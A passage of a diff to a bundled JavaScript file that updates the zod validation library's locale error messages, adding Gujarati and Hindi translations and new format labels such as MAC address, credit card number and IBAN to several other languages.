node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/he.js -var error17 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/gu.js +var error19 = () => { + const Sizable = { + string: { unit: "\u0A85\u0A95\u0ACD\u0AB7\u0AB0", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" }, + file: { unit: "\u0AAC\u0ABE\u0AAF\u0A9F", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" }, + array: { unit: "\u0A86\u0A87\u0A9F\u0AAE", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" }, + set: { unit: "\u0A86\u0A87\u0A9F\u0AAE", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" }, + map: { unit: "\u0A8F\u0AA8\u0ACD\u0A9F\u0ACD\u0AB0\u0AC0", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0A87\u0AA8\u0AAA\u0AC1\u0A9F", + email: "\u0A88\u0AAE\u0AC7\u0A87\u0AB2 \u0A8F\u0AA1\u0ACD\u0AB0\u0AC7\u0AB8", + url: "URL", + emoji: "\u0A87\u0AAE\u0ACB\u0A9C\u0AC0", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u0AA4\u0ABE\u0AB0\u0AC0\u0A96 \u0A85\u0AA8\u0AC7 \u0AB8\u0AAE\u0AAF", + date: "ISO \u0AA4\u0ABE\u0AB0\u0AC0\u0A96", + time: "ISO \u0AB8\u0AAE\u0AAF", + duration: "ISO \u0A85\u0AB5\u0AA7\u0ABF", + ipv4: "IPv4 \u0A8F\u0AA1\u0ACD\u0AB0\u0AC7\u0AB8", + ipv6: "IPv6 \u0A8F\u0AA1\u0ACD\u0AB0\u0AC7\u0AB8", + mac: "MAC \u0A8F\u0AA1\u0ACD\u0AB0\u0AC7\u0AB8", + cidrv4: "IPv4 \u0AB6\u0ACD\u0AB0\u0AC7\u0AA3\u0AC0", + cidrv6: "IPv6 \u0AB6\u0ACD\u0AB0\u0AC7\u0AA3\u0AC0", + base64: "base64-\u0A8F\u0AA8\u0ACD\u0A95\u0ACB\u0AA1\u0AC7\u0AA1 \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97", + base64url: "base64url-\u0A8F\u0AA8\u0ACD\u0A95\u0ACB\u0AA1\u0AC7\u0AA1 \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97", + json_string: "JSON \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97", + e164: "E.164 \u0AA8\u0A82\u0AAC\u0AB0", + credit_card: "\u0A95\u0ACD\u0AB0\u0AC7\u0AA1\u0ABF\u0A9F \u0A95\u0ABE\u0AB0\u0ACD\u0AA1 \u0AA8\u0A82\u0AAC\u0AB0", + currency_code: "\u0A9A\u0AB2\u0AA3 \u0A95\u0ACB\u0AA1", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0A87\u0AA8\u0AAA\u0AC1\u0A9F" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A87\u0AA8\u0AAA\u0AC1\u0A9F: \u0A85\u0AAA\u0AC7\u0A95\u0ACD\u0AB7\u0ABF\u0AA4 ${expected}, \u0AAA\u0ACD\u0AB0\u0ABE\u0AAA\u0ACD\u0AA4 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A87\u0AA8\u0AAA\u0AC1\u0A9F: \u0A85\u0AAA\u0AC7\u0A95\u0ACD\u0AB7\u0ABF\u0AA4 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB5\u0ABF\u0A95\u0AB2\u0ACD\u0AAA: ${joinValues(issue2.values, " | ")} \u0AAE\u0ABE\u0AA7\u0ACD\u0AAF\u0AAE\u0AA5\u0AC0 \u0A8F\u0A95 \u0A85\u0AAA\u0AC7\u0A95\u0ACD\u0AB7\u0ABF\u0AA4`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0A96\u0AC2\u0AAC \u0AAE\u0ACB\u0A9F\u0AC1\u0A82: ${issue2.origin ?? "\u0AAE\u0AC2\u0AB2\u0ACD\u0AAF"} ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\u0A8F\u0AB2\u0ABF\u0AAE\u0AC7\u0AA8\u0ACD\u0A9F"} \u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F`; + return `\u0A96\u0AC2\u0AAC \u0AAE\u0ACB\u0A9F\u0AC1\u0A82: ${issue2.origin ?? "\u0AAE\u0AC2\u0AB2\u0ACD\u0AAF"} ${adj}${issue2.maximum.toString()} \u0AB9\u0ACB\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u0A96\u0AC2\u0AAC \u0AA8\u0ABE\u0AA8\u0AC1\u0A82: ${issue2.origin} ${adj}${issue2.minimum.toString()} ${sizing.unit} \u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F`; + } + return `\u0A96\u0AC2\u0AAC \u0AA8\u0ABE\u0AA8\u0AC1\u0A82: ${issue2.origin} ${adj}${issue2.minimum.toString()} \u0AB9\u0ACB\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97: "${_issue.prefix}" \u0AA5\u0AC0 \u0AB6\u0AB0\u0AC2 \u0AA5\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + } + if (_issue.format === "ends_with") + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97: "${_issue.suffix}" \u0AAA\u0AB0 \u0AB8\u0AAE\u0ABE\u0AAA\u0ACD\u0AA4 \u0AA5\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + if (_issue.format === "includes") + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97: "${_issue.includes}" \u0AB6\u0ABE\u0AAE\u0AC7\u0AB2 \u0AB9\u0ACB\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + if (_issue.format === "regex") + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97: \u0AAA\u0AC7\u0A9F\u0AB0\u0ACD\u0AA8 ${_issue.pattern} \u0AB8\u0ABE\u0AA5\u0AC7 \u0AAE\u0AC7\u0AB3 \u0A96\u0ABE\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AA8\u0A82\u0AAC\u0AB0: ${issue2.divisor} \u0AA8\u0ACB \u0A97\u0AC1\u0AA3\u0ABE\u0A82\u0A95 \u0AB9\u0ACB\u0AB5\u0ACB \u0A9C\u0ACB\u0A88\u0A8F`; + case "unrecognized_keys": + return `\u0A93\u0AB3\u0A96\u0AC0 \u0AB6\u0A95\u0ABE\u0AA4\u0ABE \u0AA8\u0AB9\u0AC0\u0A82 \u0AA4\u0AC7 \u0A95\u0AC0${issue2.keys.length > 1 ? "\u0A93" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `${issue2.origin} \u0AAE\u0ABE\u0A82 \u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A95\u0AC0`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AA1\u0ABF\u0AB8\u0ACD\u0A95\u0ACD\u0AB0\u0ABF\u0AAE\u0ABF\u0AA8\u0AC7\u0A9F\u0AB0 \u0AAE\u0AC2\u0AB2\u0ACD\u0AAF. \u0A85\u0AAA\u0AC7\u0A95\u0ACD\u0AB7\u0ABF\u0AA4 ${opts}`; + } + return "\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A87\u0AA8\u0AAA\u0AC1\u0A9F"; + case "invalid_element": + return `${issue2.origin} \u0AAE\u0ABE\u0A82 \u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AAE\u0AC2\u0AB2\u0ACD\u0AAF`; + default: + return "\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A87\u0AA8\u0AAA\u0AC1\u0A9F"; + } + }; +}; +function gu_default() { + return { + localeError: error19() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/he.js +var error20 = () => { const TypeNames = { string: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA", gender: "f" }, number: { label: "\u05DE\u05E1\u05E4\u05E8", gender: "m" }, @@ -61083,6 +62505,8 @@ var error17 = () => { url: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA \u05E8\u05E9\u05EA", gender: "f" }, emoji: { label: "\u05D0\u05D9\u05DE\u05D5\u05D2'\u05D9", gender: "m" }, uuid: { label: "UUID", gender: "m" }, + uuidv4: { label: "UUIDv4", gender: "m" }, + uuidv6: { label: "UUIDv6", gender: "m" }, nanoid: { label: "nanoid", gender: "m" }, guid: { label: "GUID", gender: "m" }, cuid: { label: "cuid", gender: "m" }, @@ -61096,13 +62520,18 @@ var error17 = () => { duration: { label: "\u05DE\u05E9\u05DA \u05D6\u05DE\u05DF ISO", gender: "m" }, ipv4: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA IPv4", gender: "f" }, ipv6: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA IPv6", gender: "f" }, + mac: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA MAC", gender: "f" }, cidrv4: { label: "\u05D8\u05D5\u05D5\u05D7 IPv4", gender: "m" }, cidrv6: { label: "\u05D8\u05D5\u05D5\u05D7 IPv6", gender: "m" }, base64: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA \u05D1\u05D1\u05E1\u05D9\u05E1 64", gender: "f" }, base64url: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA \u05D1\u05D1\u05E1\u05D9\u05E1 64 \u05DC\u05DB\u05EA\u05D5\u05D1\u05D5\u05EA \u05E8\u05E9\u05EA", gender: "f" }, json_string: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA JSON", gender: "f" }, e164: { label: "\u05DE\u05E1\u05E4\u05E8 E.164", gender: "m" }, + credit_card: { label: "\u05DE\u05E1\u05E4\u05E8 \u05DB\u05E8\u05D8\u05D9\u05E1 \u05D0\u05E9\u05E8\u05D0\u05D9", gender: "m" }, + currency_code: { label: "\u05E7\u05D5\u05D3 \u05DE\u05D8\u05D1\u05E2", gender: "m" }, + iban: { label: "IBAN", gender: "m" }, jwt: { label: "JWT", gender: "m" }, + template_literal: { label: "\u05E7\u05DC\u05D8", gender: "m" }, ends_with: { label: "\u05E7\u05DC\u05D8", gender: "m" }, includes: { label: "\u05E7\u05DC\u05D8", gender: "m" }, lowercase: { label: "\u05E7\u05DC\u05D8", gender: "m" }, @@ -61220,12 +62649,124 @@ var error17 = () => { }; function he_default() { return { - localeError: error17() + localeError: error20() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/hr.js -var error18 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/hi.js +var error21 = () => { + const Sizable = { + string: { unit: "\u0905\u0915\u094D\u0937\u0930", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" }, + file: { unit: "\u092C\u093E\u0907\u091F\u094D\u0938", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" }, + array: { unit: "\u0924\u0924\u094D\u0935", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" }, + set: { unit: "\u0924\u0924\u094D\u0935", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" }, + map: { unit: "\u092A\u094D\u0930\u0935\u093F\u0937\u094D\u091F\u093F\u092F\u093E\u0901", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0907\u0928\u092A\u0941\u091F", + email: "\u0908\u092E\u0947\u0932 \u092A\u0924\u093E", + url: "URL", + emoji: "\u0907\u092E\u094B\u091C\u0940", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u0924\u093F\u0925\u093F \u0914\u0930 \u0938\u092E\u092F", + date: "ISO \u0924\u093F\u0925\u093F", + time: "ISO \u0938\u092E\u092F", + duration: "ISO \u0905\u0935\u0927\u093F", + ipv4: "IPv4 \u092A\u0924\u093E", + ipv6: "IPv6 \u092A\u0924\u093E", + mac: "MAC \u092A\u0924\u093E", + cidrv4: "IPv4 \u0936\u094D\u0930\u0947\u0923\u0940", + cidrv6: "IPv6 \u0936\u094D\u0930\u0947\u0923\u0940", + base64: "Base64-\u090F\u0928\u094D\u0915\u094B\u0921\u0947\u0921 \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917", + base64url: "Base64URL-\u090F\u0928\u094D\u0915\u094B\u0921\u0947\u0921 \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917", + json_string: "JSON \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917", + e164: "E.164 \u0938\u0902\u0916\u094D\u092F\u093E", + credit_card: "\u0915\u094D\u0930\u0947\u0921\u093F\u091F \u0915\u093E\u0930\u094D\u0921 \u0938\u0902\u0916\u094D\u092F\u093E", + currency_code: "\u092E\u0941\u0926\u094D\u0930\u093E \u0915\u094B\u0921", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0907\u0928\u092A\u0941\u091F" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${expected}, \u092A\u094D\u0930\u093E\u092A\u094D\u0924 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0935\u093F\u0915\u0932\u094D\u092A: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u092E\u093E\u0928\u094B\u0902 \u092E\u0947\u0902 \u0938\u0947 \u090F\u0915 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u092C\u0939\u0941\u0924 \u092C\u0921\u093C\u093E: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u0925\u093E \u0915\u093F ${issue2.origin ?? "\u092E\u093E\u0928"} \u092E\u0947\u0902 ${adj}${issue2.maximum} ${sizing.unit} \u0939\u094B\u0902`; + return `\u092C\u0939\u0941\u0924 \u092C\u0921\u093C\u093E: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u0925\u093E \u0915\u093F ${issue2.origin ?? "\u092E\u093E\u0928"} ${adj}${issue2.maximum} \u0939\u094B`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u092C\u0939\u0941\u0924 \u091B\u094B\u091F\u093E: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u0925\u093E \u0915\u093F ${issue2.origin} \u092E\u0947\u0902 ${adj}${issue2.minimum} ${sizing.unit} \u0939\u094B\u0902`; + return `\u092C\u0939\u0941\u0924 \u091B\u094B\u091F\u093E: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u0925\u093E \u0915\u093F ${issue2.origin} ${adj}${issue2.minimum} \u0939\u094B`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917: "${_issue.prefix}" \u0938\u0947 \u0936\u0941\u0930\u0942 \u0939\u094B\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + if (_issue.format === "ends_with") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917: "${_issue.suffix}" \u092A\u0930 \u0938\u092E\u093E\u092A\u094D\u0924 \u0939\u094B\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + if (_issue.format === "includes") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917: \u0907\u0938\u092E\u0947\u0902 "${_issue.includes}" \u0936\u093E\u092E\u093F\u0932 \u0939\u094B\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + if (_issue.format === "regex") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917: \u092A\u0948\u091F\u0930\u094D\u0928 ${_issue.pattern} \u0938\u0947 \u092E\u0947\u0932 \u0916\u093E\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + return `\u0905\u092E\u093E\u0928\u094D\u092F ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u0902\u0916\u094D\u092F\u093E: \u092F\u0939 ${issue2.divisor} \u0915\u093E \u0917\u0941\u0923\u091C \u0939\u094B\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + case "unrecognized_keys": + return `\u0905\u092A\u0930\u093F\u091A\u093F\u0924 \u0915\u0941\u0902\u091C\u0940${issue2.keys.length > 1 ? "\u092F\u093E\u0901" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0915\u0941\u0902\u091C\u0940: ${issue2.origin} \u092E\u0947\u0902`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0921\u093F\u0938\u094D\u0915\u094D\u0930\u093F\u092E\u093F\u0928\u0947\u091F\u0930 \u092E\u093E\u0928: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${opts}`; + } + return "\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F"; + case "invalid_element": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u092E\u093E\u0928: ${issue2.origin} \u092E\u0947\u0902`; + default: + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F`; + } + }; +}; +function hi_default() { + return { + localeError: error21() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/hr.js +var error22 = () => { const Sizable = { string: { unit: "znakova", verb: "imati" }, file: { unit: "bajtova", verb: "imati" }, @@ -61256,12 +62797,16 @@ var error18 = () => { duration: "ISO trajanje", ipv4: "IPv4 adresa", ipv6: "IPv6 adresa", + mac: "MAC adresa", cidrv4: "IPv4 raspon", cidrv6: "IPv6 raspon", base64: "base64 kodirani tekst", base64url: "base64url kodirani tekst", json_string: "JSON tekst", e164: "E.164 broj", + credit_card: "broj kreditne kartice", + currency_code: "kod valute", + iban: "IBAN", jwt: "JWT", template_literal: "unos" }; @@ -61343,17 +62888,18 @@ var error18 = () => { }; function hr_default() { return { - localeError: error18() + localeError: error22() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/hu.js -var error19 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/hu.js +var error23 = () => { const Sizable = { string: { unit: "karakter", verb: "legyen" }, file: { unit: "byte", verb: "legyen" }, array: { unit: "elem", verb: "legyen" }, - set: { unit: "elem", verb: "legyen" } + set: { unit: "elem", verb: "legyen" }, + map: { unit: "elem", verb: "legyen" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -61379,12 +62925,16 @@ var error19 = () => { duration: "ISO id\u0151intervallum", ipv4: "IPv4 c\xEDm", ipv6: "IPv6 c\xEDm", + mac: "MAC c\xEDm", cidrv4: "IPv4 tartom\xE1ny", cidrv6: "IPv6 tartom\xE1ny", base64: "base64-k\xF3dolt string", base64url: "base64url-k\xF3dolt string", json_string: "JSON string", e164: "E.164 sz\xE1m", + credit_card: "hitelk\xE1rtyasz\xE1m", + currency_code: "p\xE9nznemk\xF3d", + iban: "IBAN", jwt: "JWT", template_literal: "bemenet" }; @@ -61452,11 +63002,11 @@ var error19 = () => { }; function hu_default() { return { - localeError: error19() + localeError: error23() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/hy.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/hy.js function getArmenianPlural(count, one, many) { return Math.abs(count) === 1 ? one : many; } @@ -61467,7 +63017,7 @@ function withDefiniteArticle(word) { const lastChar = word[word.length - 1]; return word + (vowels.includes(lastChar) ? "\u0576" : "\u0568"); } -var error20 = () => { +var error24 = () => { const Sizable = { string: { unit: { @@ -61496,6 +63046,13 @@ var error20 = () => { many: "\u057F\u0561\u0580\u0580\u0565\u0580" }, verb: "\u0578\u0582\u0576\u0565\u0576\u0561\u056C" + }, + map: { + unit: { + one: "\u057F\u0561\u0580\u0580", + many: "\u057F\u0561\u0580\u0580\u0565\u0580" + }, + verb: "\u0578\u0582\u0576\u0565\u0576\u0561\u056C" } }; function getSizing(origin) { @@ -61522,12 +63079,16 @@ var error20 = () => { duration: "ISO \u057F\u0587\u0578\u0572\u0578\u0582\u0569\u0575\u0578\u0582\u0576", ipv4: "IPv4 \u0570\u0561\u057D\u0581\u0565", ipv6: "IPv6 \u0570\u0561\u057D\u0581\u0565", + mac: "MAC \u0570\u0561\u057D\u0581\u0565", cidrv4: "IPv4 \u0574\u056B\u057B\u0561\u056F\u0561\u0575\u0584", cidrv6: "IPv6 \u0574\u056B\u057B\u0561\u056F\u0561\u0575\u0584", base64: "base64 \u0571\u0587\u0561\u0579\u0561\u0583\u0578\u057E \u057F\u0578\u0572", base64url: "base64url \u0571\u0587\u0561\u0579\u0561\u0583\u0578\u057E \u057F\u0578\u0572", json_string: "JSON \u057F\u0578\u0572", e164: "E.164 \u0570\u0561\u0574\u0561\u0580", + credit_card: "\u056F\u0580\u0565\u0564\u056B\u057F \u0584\u0561\u0580\u057F\u056B \u0570\u0561\u0574\u0561\u0580", + currency_code: "\u0561\u0580\u056A\u0578\u0582\u0575\u0569\u056B \u056F\u0578\u0564", + iban: "IBAN", jwt: "JWT", template_literal: "\u0574\u0578\u0582\u057F\u0584" }; @@ -61600,17 +63161,18 @@ var error20 = () => { }; function hy_default() { return { - localeError: error20() + localeError: error24() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/id.js -var error21 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/id.js +var error25 = () => { const Sizable = { string: { unit: "karakter", verb: "memiliki" }, file: { unit: "byte", verb: "memiliki" }, array: { unit: "item", verb: "memiliki" }, - set: { unit: "item", verb: "memiliki" } + set: { unit: "item", verb: "memiliki" }, + map: { unit: "item", verb: "memiliki" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -61636,12 +63198,16 @@ var error21 = () => { duration: "durasi format ISO", ipv4: "alamat IPv4", ipv6: "alamat IPv6", + mac: "alamat MAC", cidrv4: "rentang alamat IPv4", cidrv6: "rentang alamat IPv6", base64: "string dengan enkode base64", base64url: "string dengan enkode base64url", json_string: "string JSON", e164: "angka E.164", + credit_card: "nomor kartu kredit", + currency_code: "kode mata uang", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -61707,17 +63273,18 @@ var error21 = () => { }; function id_default() { return { - localeError: error21() + localeError: error25() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/is.js -var error22 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/is.js +var error26 = () => { const Sizable = { string: { unit: "stafi", verb: "a\xF0 hafa" }, file: { unit: "b\xE6ti", verb: "a\xF0 hafa" }, array: { unit: "hluti", verb: "a\xF0 hafa" }, - set: { unit: "hluti", verb: "a\xF0 hafa" } + set: { unit: "hluti", verb: "a\xF0 hafa" }, + map: { unit: "hluti", verb: "a\xF0 hafa" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -61743,12 +63310,16 @@ var error22 = () => { duration: "ISO t\xEDmalengd", ipv4: "IPv4 address", ipv6: "IPv6 address", + mac: "MAC address", cidrv4: "IPv4 range", cidrv6: "IPv6 range", base64: "base64-encoded strengur", base64url: "base64url-encoded strengur", json_string: "JSON strengur", e164: "E.164 t\xF6lugildi", + credit_card: "kreditkortan\xFAmer", + currency_code: "gjaldmi\xF0ilsk\xF3\xF0i", + iban: "IBAN", jwt: "JWT", template_literal: "gildi" }; @@ -61817,17 +63388,18 @@ var error22 = () => { }; function is_default() { return { - localeError: error22() + localeError: error26() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/it.js -var error23 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/it.js +var error27 = () => { const Sizable = { string: { unit: "caratteri", verb: "avere" }, file: { unit: "byte", verb: "avere" }, array: { unit: "elementi", verb: "avere" }, - set: { unit: "elementi", verb: "avere" } + set: { unit: "elementi", verb: "avere" }, + map: { unit: "elementi", verb: "avere" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -61853,12 +63425,16 @@ var error23 = () => { duration: "durata ISO", ipv4: "indirizzo IPv4", ipv6: "indirizzo IPv6", + mac: "indirizzo MAC", cidrv4: "intervallo IPv4", cidrv6: "intervallo IPv6", base64: "stringa codificata in base64", base64url: "URL codificata in base64", json_string: "stringa JSON", e164: "numero E.164", + credit_card: "numero di carta di credito", + currency_code: "codice valuta", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -61926,17 +63502,18 @@ var error23 = () => { }; function it_default() { return { - localeError: error23() + localeError: error27() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ja.js -var error24 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ja.js +var error28 = () => { const Sizable = { string: { unit: "\u6587\u5B57", verb: "\u3067\u3042\u308B" }, file: { unit: "\u30D0\u30A4\u30C8", verb: "\u3067\u3042\u308B" }, array: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" }, - set: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" } + set: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" }, + map: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -61962,12 +63539,16 @@ var error24 = () => { duration: "ISO\u671F\u9593", ipv4: "IPv4\u30A2\u30C9\u30EC\u30B9", ipv6: "IPv6\u30A2\u30C9\u30EC\u30B9", + mac: "MAC\u30A2\u30C9\u30EC\u30B9", cidrv4: "IPv4\u7BC4\u56F2", cidrv6: "IPv6\u7BC4\u56F2", base64: "base64\u30A8\u30F3\u30B3\u30FC\u30C9\u6587\u5B57\u5217", base64url: "base64url\u30A8\u30F3\u30B3\u30FC\u30C9\u6587\u5B57\u5217", json_string: "JSON\u6587\u5B57\u5217", e164: "E.164\u756A\u53F7", + credit_card: 